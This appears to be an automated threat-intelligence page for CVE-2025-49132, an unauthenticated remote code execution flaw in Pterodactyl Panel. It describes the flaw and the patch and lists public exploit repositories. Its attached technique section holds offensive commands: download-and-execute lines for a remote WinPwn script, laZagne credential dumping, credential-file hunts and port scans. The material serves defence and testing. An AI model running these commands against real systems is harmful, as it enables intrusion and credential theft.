CVE-2025-49132
Overview
This vulnerability is a remote code execution flaw caused by insecure handling of JSON locale files in the Pterodactyl Panel. The root cause lies in the improper validation and deserialization of user-supplied input via the /locales/locale.json endpoint, specifically through the locale and namespace query parameters. The affected component is the localization feature of the Pterodactyl Panel prior to version 1.11.11.
Vulnerability Description
Pterodactyl is a free, open-source game server management panel. Prior to version 1.11.11, using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated. With the ability to execute arbitrary code it could be used to gain access to the Panel's server, read credentials from the Panel's config, extract sensitive information from the database, access files of servers managed by the panel, etc. This issue has been patched in version 1.11.11. There are no software workarounds for this vulnerability, but use of an external Web Application Firewall (WAF) could help mitigate this attack.
Impact
An unauthenticated attacker with network access to the Pterodactyl Panel can execute arbitrary code on the server, enabling them to access server files, read configuration credentials, and extract sensitive database information. This can lead to full compromise of the management panel and all game servers it controls. The vulnerability requires no user interaction and is exploitable remotely, as reflected by CVSS vector AV:N/AC:L/PR:N/UI:N, resulting in complete confidentiality, integrity, and availability loss (C:H/I:H/A:H).
Solution
Users must upgrade Pterodactyl Panel to version 1.11.11 or later, as detailed in the official security advisory GHSA-24wv-6c99-f843 and the release notes at https://github.com/pterodactyl/panel/releases/tag/v1.11.11. The patch addresses the unsafe deserialization vulnerability in the /locales/locale.json endpoint. No software workarounds are available; however, deploying an external Web Application Firewall (WAF) may provide temporary mitigation until the update is applied.
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Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
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Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
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Pterodactyl Panel CVE-2025-49132 Remote Code Execution
exploits/linux/http/pterodactyl_locales_locale_json
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0xtensho, jheysel-r7 | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE) | Zen-kun04 | webapps | multiple | - | View |
GitHub PoCs (36)
| Repository | Author | Stars | Forks | Date | Link |
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YoyoChaud/CVE-2025-49132
Exploit for Pterodactyl Panel ≤ 1.11.10 - unauthenticated LFI to RCE.
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YoyoChaud | 25 | 1 | 2026-02-08 | View |
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Zen-kun04/CVE-2025-49132
A script that gives you the credentials of a Pterodactyl panel vulnerable to CVE-2025-49132
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Zen-kun04 | 17 | 4 | 2025-06-22 | View |
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malw0re/CVE-2025-49132-Mods
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malw0re | 12 | 1 | 2026-02-08 | View |
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63square/CVE-2025-49132
PoCs for CVE-2025-49132
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63square | 5 | 2 | 2025-06-24 | View |
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qiaojojo/CVE-2025-49132_poc
Pterodactyl翼龙面板CVE-2025-49132批量检测☝️🤓
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qiaojojo | 4 | 0 | 2025-06-23 | View |
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str1keboo/CVE-2025-49132
This repository contains a Proof of Concept (PoC) for CVE-2025-49132, a critical vulnerability in Pterodactyl Panel vers...
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str1keboo | 4 | 0 | 2026-02-07 | View |
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popyue/CVE-2025-49132
CVE For Pterodactyl (For Study and Education)
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popyue | 4 | 0 | 2026-02-16 | View |
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rippsec/CVE-2025-49132-PHP-PEAR
CVE-2025-49132_PHP_PEAR_METHOD
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rippsec | 3 | 1 | 2026-02-12 | View |
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0xtensho/CVE-2025-49132-poc
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0xtensho | 3 | 0 | 2025-07-08 | View |
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dollarboysushil/CVE-2025-49132-Pterodactyl-Panel-Unauthenticated-Remote-Code-Execution-RCE-
PoC exploit for CVE-2025-49132 (GHSA-24wv-6c99-f843) – Unauthenticated Remote Code Execution in Pterodactyl Panel ≤ 1.11...
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dollarboysushil | 3 | 0 | 2026-02-11 | View |
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GRodolphe/CVE-2025-49132_poc
This is an improved version of the CVE-2025-49132 proof of concept exploit.
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GRodolphe | 3 | 0 | 2025-08-18 | View |
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pxxdrobits/CVE-2025-49132
Check a list of Pterodactyl panels for vulnerabilities from a file.
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pxxdrobits | 2 | 0 | 2025-06-23 | View |
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vimmwy/CVE-2025-49132
A script that gives you the credentials of a Pterodactyl panel vulnerable to CVE-2025-49132
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vimmwy | 1 | 0 | 2026-06-16 | View |
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symphony2colour/HTB-Pterodactyl-RCE-CVE-2025-49132
This repo contains RCE exploit for Pterodactyl htb machine
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symphony2colour | 1 | 0 | 2026-02-09 | View |
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thealchimist86/CVE-2025-49132-Pterodactyl-Panel-RCE
Exploit CVE-2025-49132 Pterodactyl Panel RCE
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thealchimist86 | 1 | 0 | 2026-02-12 | View |
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Pwndalf/CVE-2025-49132-PoC
This script exploits Remote Code Execution vulnerability in Pterodactyl Panel < 1.11.11
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Pwndalf | 1 | 0 | 2026-02-11 | View |
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nik123-py/CVE-2025-49132_HTB_SEASON10
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nik123-py | 0 | 1 | 2026-02-14 | View |
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matesz44/CVE-2025-49132
CVE-2025-49132: Pterodactyl Panel UnauthN LFI to RCE (w/ pearcmd) in posix sh
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matesz44 | 1 | 0 | 2026-02-10 | View |
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ramzihafiz/CVE-2025-49132
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ramzihafiz | 1 | 0 | 2026-02-08 | View |
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2t8a/CVE-2025-49132
CVE-2025-49132
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2t8a | 0 | 0 | 2025-09-25 | View |
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ledksv/pterodactyl
Pterodactyl — HackTheBox | CVE-2025-49132 path traversal, hash crack, CVE-2025-6018 PAM poisoning + CVE-2025-6019 XFS ra...
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ledksv | 0 | 0 | 2026-05-15 | View |
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aleewyy/CVE-2025-49132
A script that gives you the credentials of a Pterodactyl panel vulnerable to CVE-2025-49132
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aleewyy | 0 | 0 | 2026-06-16 | View |
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yurahshell/CVE-2025-49132
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yurahshell | 0 | 0 | 2026-06-05 | View |
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unixskid/CVE-2025-49132-Pterodactyl-RCE
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unixskid | 0 | 0 | 2026-02-25 | View |
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karimelsheikh1/HTB-Pterodactyl-Writeup
HTB Season 10 - Pterodactyl machine writeup. Medium Linux box covering CVE-2025-49132 (Pterodactyl Panel RCE) and CVE-20...
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karimelsheikh1 | 0 | 0 | 2026-04-24 | View |
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V0idW1re/HTB-Pterodactyl-Writeup
HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via ...
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V0idW1re | 0 | 0 | 2026-04-08 | View |
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V0idW1re/htb-pterodactyl-writeup
HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via ...
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V0idW1re | 0 | 0 | 2026-04-08 | View |
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unixskid/CVE-2025-49132
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unixskid | 0 | 0 | 2026-02-25 | View |
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revasec/CVE-2025-49132
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revasec | 0 | 0 | 2026-02-25 | View |
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typicalsmc/CVE-2025-49132-PoC
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typicalsmc | 0 | 0 | 2025-06-20 | View |
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kerburenthusiasm/CVE-2025-49132-PoC
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kerburenthusiasm | 0 | 0 | 2026-02-08 | View |
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4nuxd/CVE-2025-49132
The flaw allows an attacker to execute arbitrary system commands on the server hosting the Pterodactyl Panel without any...
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4nuxd | 0 | 0 | 2026-02-21 | View |
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WebSafety-2tina/CVE-2025-49132
CVE-2025-49132
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WebSafety-2tina | 0 | 0 | 2025-09-25 | View |
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Ahmedf000/CVE-2025-49132_HTB_SEASON10
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Ahmedf000 | 0 | 0 | 2026-02-11 | View |
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scroollocker/CVE-2025-49132
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scroollocker | 0 | 0 | 2026-02-12 | View |
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melonlonmeo/CVE-2025-49132
Poc - CVE-2025-49132
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melonlonmeo | 0 | 0 | 2025-06-25 | View |
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Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Active exploitation confirmed with 188 sighting(s)
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MITRE ATT&CK Techniques (6)
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2025-49132 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
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https://github.com/pterodactyl/panel/security/advisories/GHSA-24wv-6c99-f843 |
| github.com |
GitHub CVE
x_refsource_MISC
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https://github.com/pterodactyl/panel/commit/24c82b0e335fb5d7a844226b08abf9f176e592f0 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/pterodactyl/panel/releases/tag/v1.11.11 |